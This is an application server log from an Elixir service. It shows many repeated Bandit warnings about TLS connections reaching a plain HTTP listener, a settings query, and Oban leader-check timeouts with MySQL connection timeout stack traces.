[Sat Sep  5 06:53:51.257000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.261000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.261000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.281000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.282000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.282000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.283000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.283000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.284000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.408000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.409000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.409000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.410000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.410000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.411000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.411000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.415000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.416000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.417000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.417000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.418000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.419000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.419000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.420000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.420000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.421000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.421000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.421000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.422000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.422000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.428000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.436000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.436000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.436000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.438000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.436000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.438000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.438000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.437000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.437000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.437000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.439000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.437000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.438000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.440000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.439000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.440000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.440000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.440000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.444000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.448000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.448000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.467000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.468000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.469000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.469000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.469000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.471000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.594000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.595000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.595000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.595000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.596000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.596000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.597000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.601000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.602000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.603000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.603000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.604000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.605000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.604000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.606000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.607000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.607000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.607000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.607000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.608000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.608000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.614000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.621000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.622000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.622000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.624000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.624000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.625000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.625000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.627000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.627000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.628000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.628000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.632000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.634000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.633000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.653000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.655000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.655000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.655000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.655000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.656000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.780000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.781000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.781000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.781000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.782000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.782000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.783000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.787000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.787000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.789000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.789000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.790000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.790000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.791000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.791000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.792000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.792000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.793000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.793000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.794000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.794000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.799000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.808000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.808000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.808000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.809000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.810000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.810000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.811000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.812000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.812000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.813000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.813000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.813000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.814000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.814000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.815000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.815000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.815000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.815000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.818000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.821000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.822000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.840000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.840000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.840000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.842000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.843000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.843000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.965000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.967000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.967000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1382.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 06:56:34.858000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:01:20.491000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:01:25.492000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:01:30.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:438: MyXQL.Connection.handle_transaction/3
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1891: DBConnection.run_commit/3
    (db_connection 2.7.0) lib/db_connection.ex:1366: DBConnection.checkin/4
    (db_connection 2.7.0) lib/db_connection.ex:1870: DBConnection.commit/3
    (db_connection 2.7.0) lib/db_connection.ex:1783: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:02:04.262000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:02:05.231000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:02:05.475000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:02:09.264000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:02:13.641000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:02:46.672000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:02:51.673000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:02:56.650000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
